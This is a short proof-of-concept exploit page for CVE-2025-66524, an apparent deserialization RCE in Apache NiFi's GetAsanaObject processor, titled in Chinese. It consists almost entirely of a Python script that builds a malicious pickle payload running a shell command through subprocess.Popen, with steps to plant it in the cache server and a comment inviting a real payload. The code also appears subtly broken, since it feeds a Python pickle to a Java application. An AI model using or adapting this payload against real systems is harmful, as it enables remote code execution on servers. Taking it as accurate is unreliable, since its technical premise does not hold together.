CVE-2025-66524 Apache NiFi GetAsanaObject Processor 反序列化远程代码执行漏洞

import pickle import subprocess import base64 # PoC for CVE-2025-66524 - Apache NiFi Unauthenticated Deserialization RCE # This exploit targets the GetAsanaObject Processor's insecure deserialization class Exploit: def __reduce__(self): # Replace with actual payload for target environment cmd = "touch /tmp/pwned_by_cve_2025_66524" return (subprocess.Popen, (cmd, 0, None, None, None, True, None, True, None)) # Generate malicious serialized object malicious_obj = pickle.dumps(Exploit()) malicious_payload = base64.b64encode(malicious_obj).decode() # Simulate storing payload in cache server print(f"[+] Generated malicious payload for CVE-2025-66524") print(f"[+] Payload (base64): {malicious_payload}") print(f"[+] Store this payload in the Distribute Map Cache Server") print(f"[+] When GetAsanaObject Processor retrieves state, RCE will be triggered")